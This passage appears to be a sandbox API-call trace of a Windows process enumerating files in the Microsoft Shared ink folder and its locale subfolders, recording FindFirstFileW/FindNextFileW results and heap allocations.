ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0071.593] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0071.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0071.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0071.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0071.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0071.596] GetProcessHeap () returned 0x550000 [0071.596] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.597] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.597] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.597] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.598] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.598] GetProcessHeap () returned 0x550000 [0071.598] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.598] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0071.598] GetProcessHeap () returned 0x550000 [0071.598] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.598] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.599] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.599] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.599] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.599] GetProcessHeap () returned 0x550000 [0071.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.599] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0071.599] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0071.600] GetProcessHeap () returned 0x550000 [0071.600] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.600] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.600] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.600] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.600] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.600] GetProcessHeap () returned 0x550000 [0071.600] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.601] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0071.601] GetProcessHeap () returned 0x550000 [0071.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.060] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.061] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.061] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.061] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.061] GetProcessHeap () returned 0x550000 [0072.061] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.061] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0072.062] GetProcessHeap () returned 0x550000 [0072.062] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.062] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.063] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.063] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.063] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.063] GetProcessHeap () returned 0x550000 [0072.063] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.063] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0072.063] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0072.063] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0072.064] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0072.064] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0072.064] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0072.064] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, 